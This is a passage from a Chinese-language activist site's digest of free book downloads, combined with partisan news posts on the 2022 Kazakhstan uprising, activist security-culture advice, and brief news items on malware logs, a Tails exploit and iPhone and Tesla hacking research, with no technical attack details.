去所提供的解决方案背后的推理，并提出了他自己的建议。对心身问题的尖锐关注，这个问题不是关于自我，或意识，或灵魂，或心身以外的任何东西，有助于澄清问题和解决方案。 韦斯特法尔概述了心身问题的历史，从笛卡尔开始。他描述了心身二元论，它声称心和身是两个不同的、独立的东西，非物理的和物理的，他还研究了物理主义心智理论的反物质主义，它提出了对物理主义的限制，并引入了感质的概念和科学的意识理论。 最后，韦斯特法尔研究了在很大程度上被遗忘的中性一元论的身心理论，这些理论由恩斯特·马赫、威廉·詹姆斯和伯特兰·罗素持有，它们既不试图从物质中提取心灵，也不试图将物质溶入心灵。韦斯特法尔提出了他自己的中性一元论的版本。这个版本在中性一元论中是独一无二的，它提供了一个关于心身互动的解释。 ***8***、自由意志 在任何一天，意外的、反复出现的想法都会侵入我们的思维，并以可适应的方式影响我们的行为。然而，当这些想法是不受欢迎的、成为强迫性的、或导致社会或医学上不可接受的行为时，这些想法就会变得具有侵入性并导致问题。 这本书探讨了在我们的大脑中发生了什么导致思想入侵，以及这些入侵如何导致了适应不良行为。 ***9***、假照片 斯大林、毛泽东、希特勒、墨索里尼和其他独裁者经常篡改照片，使图像与他们的信息相一致。他们抹去在场的人，增加不在场的人，并操纵背景。他们知道，如果他们改变了视觉记录，他们就能改变历史。 曾经，改变图像需要在暗房里呆上几个小时；而今天，只需一个键盘和鼠标点击几下就能完成。由于照片如此容易伪造，假照片无处不在—— 充斥着地摊小报、时尚杂志、政治广告和社交媒体。我们如何辨别一张图片的真假呢？在这本书中，哈尼·法里德为检测照片和数字媒体中被篡改和伪造的图像的技术提供了一个简明易懂的指南。 法里德是照片取证方面的专家，他花了*20*年时间来开发数字图像的鉴定技术。这些技术对整个图像的创建过程进行建模，以便找到由图像篡改引入的数字破坏。这本书的每一节都描述了分析图像的不同技术，从那些需要最低技术专长的技术开始，到那些中级和高级技术。法里德解释了每种技术应该何时应用，并提供了图像分析的例子。 ***10***、***Memes*** *2012*年*12*月，热情洋溢的视频 *“*江南*Style”* 成为了*YouTube*上第一个被观看超过*10*亿次的视频。成千上万的观众创造和发布了他们自己的视频变体—— *“Mitt Romney Style”*、*“NASA Johnson Style”*、*“Egyptian Style”* 和许多其他 *Style*。*“*江南*Style”*（以及随之而来的模仿和衍生）是互联网*meme*最著名的例子之一：一个数字内容通过各种迭代在网络上迅速传播，成为一种共同的文化体验。 在这本书中，利莫尔·希夫曼研究了互联网*meme*以及它们对数字文化的启示。

希夫曼讨论了一系列著名的互联网备*meme*—— 包括 “别管小甜甜”、胡椒喷雾警察、*LOLCats*、*Scumbag Steve*、和占领华尔街的 “我们是*99%*” 等等。她为互联网*meme*提供了一个新的定义：具有共同特征的数字内容单元，在彼此理解的情况下创建，并由许多用户通过互联网进行传播、模仿和改造。她讨论了*meme*作为民主和非民主制度下政治参与的新模式；并研究了作为全球化媒介的*meme*。 希夫曼认为，*meme*概括了互联网的一些最基本方面，特别是参与性的*Web 2.0*文化。 互联网*meme*可能具有娱乐性，但在这本书中，利莫尔·希夫曼对为什么应该认真对待它们提出了令人信服的论点。 下载：*https://www.patreon.com/posts/56950726* 就是这样！希望本次的汇总中有您感兴趣的内容。下一次汇总将在*2*月最后一天发布。 祝福每位朋友都能拥有温馨愉快的新年假日。我们明年见！○ 原文

IYP优秀书籍汇总2022（1 ~ 2 月版） - 完全免费下载 - iyouport

免费书和纪录片

本系列在双月的月底更新

【公告】本网原定于3月8日恢复定时更新，现在看起来需要推迟，由于乌克兰战争加上我们人手过少 …… 虽然我们在 “休假” 期间已经更新了多篇内容，但我们仍然会努力尽快恢复定时发布。

您可以在我们的 telegram 频道观看乌克兰战事和全球相关的反抗活动的内容更新（Twitter 只有部分更新内容）：https://t.me/iyouport

Hi 朋友，这里是我们2022年的第一次汇总。您可以在下面查看过往汇总内容，相关内容收纳在 列表-5 “免费书籍和纪录片” 板块中：

- 《IYP优秀书籍年度汇总2019—在线下载免费阅读》
- 《IYP 优秀书籍汇总2020（1 ~ 2月版）—完全免费下载》
- 《IYP优秀书籍汇总2020（3 ~ 4 月版）》
- 《2020（5 ~ 6月版）》
- 《2020（7 ~ 8月版）〉
- 〈2020（9 ~ 10月版）〉
- 〈2020（11 ~ 12月版）〉
- 〈2021年 1 ~ 2月版〉
- 〈2021（3 ~ 4月版）〉
- 〈2021（5 ~ 6月）〉
- 〈2021（7 ~ 8月）〉
- 〈2021（09 ~ 10 月版）〉
- 〈2021（11 ~ 12月版）〉

一如既往，希望本次的汇总中有您喜欢的内容。

「合气道」作为战术智慧 ——

「图」

看到近期一些异议人士再一次谈及「抓特务」；而其中透露出的判断力依旧没有进步。这很令人遗憾。看起来，有些常识的确需要不断强调。

「抓特务」是毫无用处的。因为，没有任何既定的公式可以让您去判断谁是渗透者、谁会出卖您。没有这样的东西。

也许有一些基本的行为道德标尺可以使用，比如，在背后说闲话、打小报告，将涉嫌挑拨；追问他人不想说的事是一种侵犯，等等。

但是，有些人没有参与过任何行动，甚或缺乏社会经验以至于根本上不了解这些基本道德标尺，加上性格特征，这种情况下就不应该被贴上可疑的标签。

如果您经常胡乱猜疑，反而会令您的对手获益—— 您的对手永远最希望看到你们之间的信任被打破，四分五裂一盘散沙。这将很容易逐个击破你们所有人。

有3件事，再怎么强调都不为过：

1. 任何组织/团队都会被渗透；您没有任何方法能阻止渗透。

2. 我方彼此间的猜疑诽谤只会给敌方加分。

3. 渗透不是问题；而让渗透者得逞，才是严重问题。

最后这件事非常重要：渗透不是问题；而让渗透者得逞，才是严重问题。

在年终礼中，iyp强调了一句话：「如果您被成功镇压，这说明您和您的组织有漏洞」。也就是说，谴责镇压是远远不够的，只要有反抗就肯定有镇压，而行动者能做的最好的事就是，尽可能堵住自己的安全漏洞，让镇压战术失效。

这就是为什么您需要安全文化。

安全文化就是: 致力于无所谓渗透。它有严格的保密分级，在任何情况下—— 包括在床上—— 不该说的也不会说。

正因为无法阻挡渗透，于是只能也必须致力于让渗透者一无所获。

大张旗鼓地推行安全文化，对敌人也是一种压力，让他们知道，他们的行动会非常费劲。于是你就可以观察了，那些拼命打听事儿的人、各方结交的极度热情人士，值得警惕。

任何事都有弊端。安全文化的弊端就是，它会减缓联盟效率。在我们欧洲一些国家，活动家组织有严格的担保人流程，你要想找人是很有难度的，要凑足很多担保，才能接触到活动家组织者。不同组织之间也有这样的流程。

这涉及成本分析，即：您是否能承受粗陋的规则必然携带的安全隐患。

所以，除了真正去做事，没有其他任何获得信任的方法。对每个人来说都是如此。

这就把弊端一定程度上转变为优势了—— 即 即便是渗透者，他也要首先在统一战略目标下加入真正的行动、做具体的工作，才能在保密级别中逐渐上升。

这就是 iyp 所解释的 “合气道”。

确认渗透者需要完整的证据。怀疑应该启动的是调查，同时对怀疑对象予以权限降级；而在调查结论得出之前，任何宣扬都将导致打草惊蛇，反而不利于确认。

一旦确认渗透者，您应该立刻排除此人。叛徒已经效忠于您的敌对势力，您的社区不应该收留这样的人。

📌 推荐相关更多战术智慧：《好奇心比聪明更重要：与IYP对话2021—什么是民主？如何战斗？》。

（转帖，by victor）

《How We Became Our Data: A Genealogy Of The Informational Person》

「图」

你已经变成了你的数据（而不是你在创造你的数据）——

人们现在已经敏锐地意识到，好像突然之间，数据已经变得对我们每

个人的生活方式至关重要。淘宝电饭锅的游戏并不是一个玩笑，它是一整个噩梦的冰山一角。

信息如何决定了您能做什么和不能做什么？您如何成为了在社交媒体上毫无顾忌地展示自己的生活、并被细致地记录在国家监控档案和在线营销数据库中的人？数据对您的身份如此重要的背后隐藏着什么故事？

在这本书中，科林·库普曼挖掘了一直在不断加速的数据追踪技术的早期时刻，以及它们对我们今天如何思考和表达自我的影响。科普曼探讨了大规模数据收集系统的出现，如出生证明和社会安全号码，以及用于分类人格特征、测量智力、甚至种族化的新数据技术。这一切最终导致了库普曼所说的 “信息人” 和现在压迫我们所有人的 “信息权力”。

如今数字技术的爆炸性增长将每个人都变成了一系列的算法数据点，这表明它比我们通常所认为的有着更深层次和更动荡的过去。在与米歇尔·福柯、尤尔根·哈贝马斯和弗里德里希·基特勒等思想家的对话中，库普曼将哲学、历史、政治理论和媒体理论融为一体，对今天的人们如何看待自己的人格—— 以及如何抵制数据阶级对人格的侵蚀，提出了一个富有启发性的观点。

- 如果您错过了《单向镜的背后：监视资本家和政府的联手一直在如何折腾你？》

下载：https://t.me/iyouport/9149

下载：https://www.patreon.com/posts/ni-yi-jing-bian-59121921

Twitter 再次向仅仅播报新闻的人宣战——

「图」

Twitter 已经永久禁止了流行的新闻聚合服务 Politics For All，这表明该社交媒体平台具有强大的权力，可以在没有任何警告的情况下剥夺新闻媒体的受众。

由 19 岁的 Nick Moar 创立的 Politics for All 在过去 12 个月里通过积极汇总主流媒体发布和报道的新闻故事而获得迅速发展。它对推特上的热门传播的理解令其吸引了成千上万的追随者，包括国会议员和政府官员。

然而，这引起了主流媒体的不快。由于 Politics for All 充满表情符号的突发新闻帖子通常会吸引更多的社交媒体分享，主流媒体感到自己被冷落了。

Politics for All 表示："推特允许塔利班进入他们的平台，但却封锁一个简单的新闻聚合器，这一事实很重要。我们将对这一决定提出上诉。"

Twitter 认为该新闻聚合服务 "违反了平台规则"，但真正导致其被永久性禁止的原因并不清楚。

就如卫报所指出的：**Twitter** 删除一个相对流行的新闻聚合服务已经涉嫌激发政治审查。根据即将出台的 "在线危害立法"，社交媒体平台将很快受到通讯管理局的监管，主流新闻媒体将努力游说以确保其影响力受到保护。

1. censorship #Twitter #politicalscrutiny

由于燃料价格上涨，哈萨克斯坦的抗议活动已经持续了4天——

由于该国的燃料变得比一年前贵了一倍，人们被迫上街抗议。

政府以暴力回应抗议者；警察使用武力驱散人群；互联网服务被阻塞；封锁、突袭、火攻 ……全球统治阶级最常用的所有镇压手段都出现了。

哈萨克斯坦抗议者回击军队镇压者。

哈萨克斯坦：防暴警察被部署在防暴屏障背后，这些屏障被安装在装甲的卡车上，以便于移动出击。

在哈萨克斯坦各地，人们聚集在一起，要求改变国家的领导。警察用武力阻止抗议活动的努力基本失败了，没有任何人退缩。

目前为止已经至少有200人被逮捕。

现任总统已接受政府的辞职。

1. Kazakhstan #rising

由于抗议活动不断升级，哈萨克斯坦的多个地区已经宣布进入紧急状态。

哈萨克斯坦的军队已被部署，以追赶街道上的人们，有报道称有多个人被杀。

1. Kazakhstan #rising #ViolentRepression

在哈萨克斯坦的阿克托比市，警察对抗议者使用了闪光榴弹和水炮。

1. Kazakhstan #rising #ViolentRepression

更多视频已经更新到twitter：

哈萨克斯：这场起义正在取得胜利，现在已经有很多维稳部队出来投降的镜头（这里只发布其中一个）。这一战术是为拆毁权力的支柱。

您可以在这里看到更多相关战术分析：[[

「图」

iyouport

是什么导致了抗议运动的失败，如何才能成功：行动主义（11）- 战略智慧是最重要的武器

【按】在本系列第2集中我们讲述的是权力支柱的重要性；就如您所看到的那样，镇压者不会攻击和逮捕所有抗议者，他们会瞄准那些看起来是组织者的有影响力的人物，以此来快速推倒反抗组织的“支柱”（这里的支柱包括我们在“信息行动主义”系列中讲述的“盟友光谱”）。相反，反抗者也应致力于推倒当权者的权力支柱，当支柱折断时，权力的屋顶就会掉下来。 本集内容讲述的是同一个意思，但是，需要强调行动者对时机的把握 —— 当一根支柱歪掉了的时候，如果没有推土机冲进来，当权者会迅速建立更多的支柱以稳固自己的屋顶。于是，…

Read more

3 years ago · 1 like · iyouport

|https://iyouport.substack.com/p/11--bd2?utm_source=substack&utm_campaign=post_embed&utm_mediun

1. Kazakhstan #rising

阿拉木图的维稳部队工作站已经被抗议者洗劫一空。

1. Kazakhstan #rising

许多哈萨克斯坦维稳部队在前往城市的途中被包围，被抗议者俘获，似乎没有多少反抗意愿。

请记得：不论他们看起来有多强大，这些政权的走狗的团结能力是靠薪水维持的，当他们意识到为他们提供薪水的体制已经不行了的时候，他们的首要想法就变成了自保。

1. Kazakhstan #rising

哈萨克斯坦：推土机进攻银行。

1. Kazakhstan #rising

哈萨克斯坦切断互联网导致比特币崩溃。

Kazakhstan is responsible for 18% of Bitcoin’s hashrate

1. Kazakhstan

目前简单总结如下——

这场自发的革命运动已经超越了最初与燃料价格有关的诉求。现在的诉求包括以下几点：

- 政权更迭；
- 每个地区和城市的地方官员都要进行民选，由人民自己选择；
- 回到1993年的宪法；
- 公民活动家不应受到迫害；
- 将权力移交给与现行制度无关的人，不属于现有当局的人，具有革命忠诚度的人；
- 在示威活动和工人集体中可以听到的口号将社会要求（工资、退休年龄等）与政治要求（总统和政府辞职、公平选举、议会制共和国等）结合在一起。

抗议者有着令人难以置信的决心，他们的无畏精神，以及当局的普遍无能，是有利于运动成功的重要因素。

镇压机器正在被街头的抗议者打败。当局迅速失去了它可能保留的任

何残余支持，统治阶级已经不敢下达命令将抗议活动淹没在血泊中，他们只能采取防御性的姿态。

然而，为了取得和巩固切实的胜利，运动必须获得更多的组织性——激进的基层运动总是要发展自己的民主工具来领导和指导运动，并且总是提出自己的领导人。

资产阶级反对党无疑会试图利用这一运动。如果他们成功了，他们只会用一帮寡头取代另一帮寡头，而广大工人则继续受苦。

工人们应该只相信自己的力量。

哈萨克斯坦工人阶级自己的斗争经验表明，最果断、最一致和最有力的自我组织的例子来自工人阶级的队伍，正如2011年在扎瑙津和去年的罢工浪潮中所显示的那样，罢工浪潮赢得了其要求的重要部分。

只有在工人阶级争取真正的权力—— 政治以及经济—— 的斗争中，才会诞生一个没有剥削和压迫的公正社会：一个劳动人民普遍享有福祉和尊严的社会。

为全世界反抗者的革命胜利！

1. Kazakhstan #rising

哈萨克斯坦 ：镇压正在加强，维稳部队和新部署的俄罗斯空降兵在重新夺回政府大楼等建筑物时可能导致数十人丧生，但街头的抗议活动行动仍在进行中。

1. Kazakhstan #rising #ViolentRepression

反抗者转变战术升级运动：

哈萨克斯坦石油工人确认举行大罢工。

1. Kazakhstan #rising

选举只是假象，就连一些抗议，也是表演。

身居海外的流亡人士指挥国内的人表演着一些无关痛痒的姿态，对改变不具备任何意义。

没有真正的反对党，海外异议彼此间竞争知名度，互相指责、彼

此“抓特务” ……

这就是常态。是这一常态让今天这场大规模自发的起义前所未有地惊人。

- ○ ■ 这场起义对中国的异议人士和反抗者来说非常重要，因为，我们所有人面临的是同样的状况，不论是长期的社会政治局面，还是短期迅速增长的迫在眉睫的灾难。也是为什么此前IYP连续发布了多篇分析中国经济情势的文章。

请打开您的视野，请让自己的角色摆脱 “旁观者” 的身份，方可领略其中的意义。

非常建议您点开其中嵌入的链接，查看相关具体内容，以帮助您深入理解制作本文的用意。

📌《这不是”他们的”战斗，而是”我们的”：哈萨克斯坦起义》采访和评估。

Brecht Castel是 Knack 的记者和事实核查员，他有一些很巧妙的调查技巧。最近他开了一个 YouTube 频道，在那里分享他的一些技巧。对开源情报感兴趣的话可以关注。比如这个：如何定位一棵树：

我们也曾介绍过相关技巧《鸟和树木也能帮你追踪定位：任何细节都是线索》。

《Dictators and their Secret Police: Coercive Institutions and State Violence》

「图」

独裁者和他们的秘密警察——

「图」

正如我们此前在《改革还是变革》中强调过，国家既依靠 ‘硬’ 的警察和军事力量—— 统治，也依靠各种 ‘软’ 的说服和诱导—— 霸权来强制默许；也就是说，暴力是国家的首要的和最后的控制方法，它日复一日地依靠文化霸权的复杂方式来保持民众的忠诚。

当权者是如何保持权力的？他们何时以及如何使用镇压来实现这一目标？

这本书探讨了亚洲独裁统治下的强制机构的作用—— 这些秘密的镇压组织如何起源，如何运作，以及他们的暴力如何影响普通公民。

格雷滕斯（Sheena Chestnut Greitens）认为，当权者面临着一个胁迫性的困境：是建立旨在管理民众动员的内部安全部队，还是抵御潜在的政变。她认为，针对平民的暴力是他们试图解决这一困境的一个副产品。

这本书利用大量新的历史证据，挑战了关于专制的传统智慧：当权者受到什么威胁，他们如何应对，以及这如何影响他们统治下数百万人的生活和安全。

这本书对监视、胁迫和暴力的使用提供了一个前所未有的视角，并对专制权力的制度和社会基础提出了新的看法。

下载：https://t.me/iyouport/9171

下载；https://www.patreon.com/posts/du-cai-zhe-he-ta-56969912

最近，一名信息安全研究人员发现，在公共领域中，有600万份由RedLine 恶意软件收集的黑客设备日志。显然，黑客们打算将这些东西拿出来出售，但却忘了好好保护它们。

⚠ 这些日志包含成千上万的 LastPass 登录凭据主密码。但这似乎与最近关于大规模密码泄露的报道没有任何联系（那是另一件事）。

LastPass 是一款Freemium的跨平台在线密码管理工具，使用所谓的“云”存储。

这些日志已经与 Have I Been Pwned 服务共享，因此所有受影响的电子邮件用户将收到通知。

但是，仅仅改变密码对受害者来说是不够的—— 重要的是要记住，RedLine 会窃取所有浏览器保存的数据、VPN账户、加密货币、和其他任何它能掌握的东西。

如果您拥有任何代币，您应该立即将代币转移到另一个钱包。

最后，如果您已经中招，您应该使用防病毒软件扫描您的计算机，以

检测并删除任何已被安装的恶意软件。

1. ThreatIntelligence #InformationSecurity

树莓派杂志

下载：https://t.me/iyouport/9183

播客—暗网日记—第 105 集：关于加密手机的世界。

我们曾经推荐过这个播客。您可以在这里看到更多推荐的技术类的播客：

https://www.patreon.com/posts/tui-jian-yi-xie-52477511

1. truecrime #darknetdiaries #podcast

下载：https://t.me/iyouport/9190

PrivChat #6—隐私是基本人权

「图」

这里是最新一集的 PrivChat—— 召集了一群有直接经验的活动家或与活动家团体合作的小组成员，他们将谈论他们在抵制监控和捍卫隐私方面的经验。

视频：https://t.me/iyouport/9191

为了帮助联邦调查局在2017年识别一名Tor用户的真实身份，Facebook 付钱给一家网络安全公司，让其利用超级安全的 Tails 操作系统中的一个零日漏洞。

Facebook 向这家网络安全咨询公司支付了六位数的费用，以创建一个黑客工具，利用 Tails 操作系统附带的视频播放器中的一个漏洞。

2017年，联邦调查局得到了法官的许可，以部署网络调查技术（NIT）。联邦调查局将该解决方案描述为一个附带恶意软件的真实视频文件，使其能够获得 Tails 用户的真实IP地址。

⚠ 正如这篇报道所强调的：这些巨头公司能对一个人这样做，他们就能随时对任何其他人这样做。

尽管 Facebook 六位数巨额的 Tails 黑客事件可能是一个极端的例子，但 BlueLeaks 的泄漏数据显示，早已有其他公司免费做这种事——比如谷歌，其内部一个鲜为人知的调查部门定期将用户详细个人信息转发给湾区情报融合中心的成员。

《Reminder: Facebook Helped the FBI Hack a Tor User》

哈萨克更新：托卡耶夫的胡萝卜和大棒——

「图」

极权主义说唱是一个抽象的胡萝卜和一个非常具体的大棒……

继续强调哈萨克斯坦正在发生的事的重要细节。请注意，起义一结束，镇压机构就变得非常暴力。也就是说，根本就没有所谓的“安抚”，而是猖狂的惩罚措施。1月8日，当公众集会被驱散，当局镇压了阿拉木图的主要武装抵抗区时，内政部宣布约有4000人被拘留，而今天这个数字增加了两倍多，接近10000人。

这与白俄罗斯的情况非常相似，在那里，抗议浪潮崩溃后，内政部/克格勃的狂热镇压立即达到了高潮。在胜利的情况下，你不能指望他们有任何媾和。

许多人注意到，当托卡耶夫与集体安全条约组织的干预者就部署军队达成一致时，他立即加强了他的言辞—— 不再是以前的妥协语气，而是对“恐怖分子”的头颅进行诅咒，并下令不加警告地开枪。

现在，哈萨克斯坦总统的状态在威胁和讹诈之间交替进行。有趣的是，托卡耶夫正在积极*利用*社会正义的主题：在普遍贫困的背景下，对肆无忌惮的富人采取措辞。但不言而喻，这只是一种操纵，总统对社会平等完全不感兴趣，而这样伪装 ”左派“ 的措辞也足够让人们看到了哈萨克抗议的社会本质—— 即 被剥夺权利的人对剥削者和压迫者的起义。即使起义者在概念上表达得很弱。如果这个国家是在激进的宗教狂热的背景下崛起的（就像现在寻求所谓 ”伊斯兰主义的痕迹“ 的人们试图展示的那样），托卡耶夫甚至会去唱一堆赞美先知的圣歌 ……

我们认为，哈萨克的起义不仅仅是“穷人为了合理的生活成本而进行的反抗，并提出一些民主要求”，它是对不平等的反抗。我们有理由希望，托卡耶夫的“胡萝卜”—— 他的民粹主义演说—— 不会贿赂哈萨克斯坦人民，人们一直在街头的堡垒上被枪杀，被独裁政权扔进监

狱。

📌 如果您错过了早前的内容：

- 哈萨克斯坦起义第一部分：

[[

「图」

iyouport

这不是"他们的"战斗，而是"我们的"：哈萨克斯坦起义 - 不是抗议者，而是革命者

选举只是假象，就连一些抗议，也是表演。 身居海外的流亡人士指挥国内的人表演着一些无关痛痒的姿态，对改变不具备任何意义。 没有真正的反对党，海外异议彼此间竞争知名度，互相指责、彼此“抓特务” …… 这就是常态。 是这一常态让今天这场大规模自发的起义前所未有地惊人。 这场起义对中国的异议人士和反抗者来说非常重要，因为，我们所有人面临的是同样的状况，不论是长期的社会政治局面，还是短期迅速增长的迫在眉睫的灾难。 也是为什么此前IYP连续发布了多篇分析中国经济情势的文章。 请打开您的视野，请让自己的角色摆脱 “旁观者” 的身份，方可领略其中的意义。 …

Read more

3 years ago · 17 likes · iyouport

|https://iyouport.substack.com/p/--e35?utm_source=substack&utm_campaign=post_embed&utm_mediun

- 哈萨克斯坦起义更新部分：https://www.patreon.com/posts/xin-xi-tong-dao-60928307

研究人员开发了一种新技术，可以模拟关闭或重新启动 iPhone，防止恶意软件被删除，并允许黑客秘密监听麦克风、以及通过实时网络连接接收敏感数据。

从历史上看，当恶意软件感染 iOS 设备时，只需重新启动设备即可将其删除，从而从内存中清除恶意软件。

然而，这种新的技术可以做到允许恶意软件实现持久性，因为设备从未真正关闭。

由于这种被研究人员称为 “NoReboot” 的攻击并没有利用 iOS 中的任何缺陷，而是使用了人类级别的欺骗手段，因此 Apple 无法修复它。

政府如何利用微定向操纵人们的日常行为？——

「图」

您有没想过，您能看到些什么东西，都是有人故意让您看到的，而您永远不知道自己没有看到什么。您以为自己正在 “自由上网” 和 “自由浏览”，但事实上您始终被禁锢在一个看不见的笼子里。是谁打造的这个笼子？谁在控制它？

——

众所周知，监视资本主义科技巨头一直在使用 “微定向广告” 来操纵人们的行为和决策。如果您还不了解这点，这里有一份非常详细的说明可以帮助您了解他们是怎么做的《单向镜的背后》；

然而，这种操纵绝非仅限于商业领域—— 您应该已经在剑桥分析公司的丑闻中看懂了这步棋（在这看到具体解释《心理操纵的秘密》；并且这绝非新鲜事，它第一次令全世界震惊是在2011年（在这里看到具体介绍《国王们的晚宴》）

但是，如果是政府在做同样的事呢？

苏格兰犯罪与司法研究中心 (SCCJR) 进行了一些引人入胜的研究，关于英国政府如何利用微定向广告来改变目标人群的日常行为习惯，研究人员称之为 “influence government”。

这不仅仅是操纵算法暴政用于内容排序以便让您看不到某些内容、持续的大规模监视、以及所谓的 “信用评分” 的情况；相反，这表明政府对社区文化和人们的生活行为有着针对性的干预。数字技术现在是政府权力的核心部分，政府权力由算法驱动，结合影响者(网红)网络、传统形式的信息传递和前线操作实践。

正如调查报告所解释的那样，这借鉴了一种被称为 “暗示理论” 的早起想法，该理论使用积极的强化性宣传和间接的暗示诱导，作为影响人们行为的一种方式。维基百科引用的 nudge 理论最有名的例子之一

是：在阿姆斯特丹史基浦机场的男厕所小便池上放置一只家蝇的图像，目的是“改善目标”。早在2010年，英国政府就成立了一个正式的“Nudge Unit”，它的任务是利用 nudge 理论来改善公共服务。2014年，它被剥离出来，成为一家名为“行为洞察力团队”的有限公司。它现在在世界各地都有办事处。

该团队最近的一份报告名为“行为经济”，这是一份10点宣言，阐述了政府、监管机构和中央银行如何利用“行为杠杆和暗示”来实现“真正的变化”。

SCCJR研究了英国政府如何通过将其与微定向广告相结合来应用其暗示理论。一个微不足道的例子是利用购买过蜡烛的人的数据，通过他们的智能音箱，强行播放消防安全广告。

英国国家犯罪调查局(就是英国的FBI) 对微定向的使用更为复杂：

该广告针对英国14至20岁对游戏感兴趣的青少年，当用户在谷歌上搜索特定的网络犯罪服务时，警报就会出现，告知他们这些服务“是非法的”，如果他们购买这些服务，就会面临NCA的突袭行动。

从简单的文本广告开始，NCA与行为心理学家协作，利用他们从业务工作中收集的数据，花了六个月开发了这些警报。

此外，他们还将这些广告与主要电玩展的社交媒体标签联系起来，并在主要的游戏网站上购买了讨论这些服务非法性的广告。最后，他们制作了视频广告……在 YouTube 上传播。

显然，该活动是成功的：在英国购买拒绝服务攻击的数量没有增长，但是，这些攻击在其他可比国家却急剧上升了。尤其是，SCCJR 的报告对这种方法提出的担忧是切实的—— 例如，它询问谁被允许利用“暗示”的心理操纵技术，谁为其部署确定优先次序，以及这些过程的透明度和问责制究竟是什么？答案是：并没有。

这些方法缺乏透明度，这一点尤其令人担忧。这也是所有微定位广告的深刻问题。传统的广告对所有人都是可见的，因此在必要时可以被监督和批评，而微定向广告设计为只被特定的目标群体中的少数人看到—— 操纵是定向的。

同样，传统的心理暗示技术—— 如酒精的最低单位定价、香烟展示的变化、以及安装在大门口的驱逐无家可归者的钉子—— 可能是针对特定人群的，但其更广泛的可见性至少允许一定程度的问责和批

评，因为它们可以引起公众的愤怒并被记者报道。而最新的数字心理暗示技术只被目标受众才能看到，使其对他人不可见，能够避免通常的问责制。

与此同时，在许多领域中，恶意行为者也在协调地使用有针对性的宣传诱导和心理操纵的方法，从非法网络犯罪服务的传播，到针对弱势群体的诈骗，再到极右翼、厌女症、种族主义和仇视同性恋的团体，都在试图传播仇恨言论和暴力行为。有一个令人信服的论点是，国家有一定的责任在相同条件下直接对抗这些恶意的影响力运动，或者支持社区自己做这项工作。

但是，打击恶意行为者使用微定向广告的另一种更好的方法是，首先禁止公司收集如此详细的个人数据，从而完全摆脱监视资本主义生态。

一切罪恶都源于数据收集。终止收集不仅将改善在线用户的一般隐私，也会防止不良行为者滥用它。它还将阻止政府以自己的利益去操纵和怂恿其公民。如果操纵在公众极少能够意识到的情况下进行，这是一个真正的危险，就像在英国已经发生的那样。

在下面下载这份报告，也许能给中国相关领域的研究人士一些提示。

下载：https://t.me/iyouport/9206

下载：https://www.patreon.com/posts/zheng-fu-ru-he-57354458

19 岁的黑客 David Columbo 说他已经获得了世界各地数十辆特斯拉汽车的访问权限。

他总共发现了超过 125 台易受攻击的车子。这要归功于某个 “第三方” 开源应用程序中的一个漏洞，该漏洞允许车主监控车辆的运动，Columbo 没有解释细节，因为该漏洞尚未修复。

例如，黑客可以远程关闭哨兵模式（跟踪行车和防止黑客入侵的模式）并打开车门，但仍然无法直接控制汽车。他还获得了一系列关于车主的私人数据，包括特斯拉的当前位置以及车主在过去几天驾驶的确切路线。

1. Teslas #hacking #Security

「The accumulation of freedom: writings on anarchist

economics」

「图」

打破非此即彼，创造全新的可能性——

「图」

经济学曾经被称为郁闷的科学，并且仍然经常与枯燥的技术论证和基于完美知识和理性计算假设的偏好建模联系在一起。经济学的语言——投资、财政刺激、增长、生产效率、牛市和熊市——是被广为熟悉的。这些术语的实际意义是可以预测的，而且很容易理解，特别是在经济衰退时期。

但对许多人来说，这个学科的内容仍然是神秘的和抽象的，其范围似乎很狭窄。经济学的研究往往局限于分析资本主义市场、国际金融的阴暗交易，或者如最近银行的惊人倒闭所显示的那样，局限于分析系统故障。

当然，在这一领域一直有批评的声音，但只是在最近，人们才如此强调经济的运作方式问题，去想象以不同方式运作的可能性。

自从全球社会正义运动出现后，人们对全球经济体系的可能性假设、价值和影响进行了新的探索。“没有其他选择”的宣称受到了更多质疑；越来越多的人开始认识到，另一种世界是可能的。不受管制的资本流动的兴起、跨国公司的主导地位、以及仅仅有利于最强者的贸易结构，不再被认为是经济市场不可避免的、不可阻挡的或自发的特征，更不是可取的。

全球经济是一个监管不力、计划不周的系统，它得到了道德沦丧的和压迫性的意识形态的帮助，这一点现在肯定已经很清楚了。

自1999年以来出现的对新自由主义反乌托邦的一些最重要的批判，都是由*非*无政府主义的社会主义者和左翼自由主义者的立场提供的。Susan George, Peter Singer, Alex Callinicos, Joseph Stiglitz 等人的研究工作提供了丰富的灵感来源。但社会正义运动的无政府主义性质和它所接受的基层行动也为讨论明确的无政府主义经济学方法提供了空间。

有些讨论可能会让建制派感到恐惧，特别是如果人们认为无政府主义“只代表经济的放松管制，所有服务的私有化，以及国家的倒退”，而

很少考虑到平等、参与和创造的繁荣等问题时，误解会加深。

对于社会正义运动中的大多数团体来说，这种右翼自由主义的品牌几乎没有任何好处，尽管可能没有那么虚伪，比受管制的新自由主义更好些。它与无政府主义的联系（这是有激烈争议的）在很大程度上归功于穆瑞·罗斯巴德的影响，他把自己对个人权利和自由市场分配的不妥协和激进的辩护描述为无政府资本主义。不管他对无政府主义的认同是否扭曲了传统，他的立场也几乎没有穷尽无政府主义经济学的可能性。相反，无政府主义提供了一个强大而丰富的反资本主义思想，正是这些思想路线被有益地恢复了。

反资本主义无政府主义的基础是相信不平等、异化、剥削和侵略性竞争的问题源于政治和经济利益的复杂关系；有时这种关系被理解为一种阶级关系，在这种关系中，政治精英（历史上是父权制、种族主义、同性恋恐惧症和宗教上的偏执）或多或少地服从于经济上的强者。另一些人则把这种相互关系看作是一种更有差异的军工综合体的证据，在这种综合体中，类似结构的政治、经济和军事利益凝聚在一起。

无论怎样，无政府主义者一般都认为，资本主义是与政治权力集中化和国家形成的过程同时发展的；将政治与经济完全剥离，使市场摆脱政府的干预，是根本不可能的—— 即使假设它是理想的。将政治吸收到经济中也同样有问题。

通常情况下，承认国家和市场的相互依存关系，促使无政府主义者去研究资本主义的社会学影响以及它的经济运作。例如，在剥削问题上，无政府主义者强调了生产组织和管理的压制性，并指出了所有权的不公正性和个人产权的矛盾性。同样地，他们通过研究战争的中心地位和日常生活的军事化来探讨资本主义市场的扩张。

这种对待资本主义的方法在塑造革命战略方面发挥了重要作用。无政府主义者一致反对国家控制和中央计划的想法，并将把生产转向满足社会有用的目的的可能性与独立的民众行动过程联系起来。正如克鲁泡特金在《面包的征服》中所论述的那样，社会转型依赖于在当地社区工作的个人有能力找到确保自己的福利来源的方法：食物、住所和衣服。

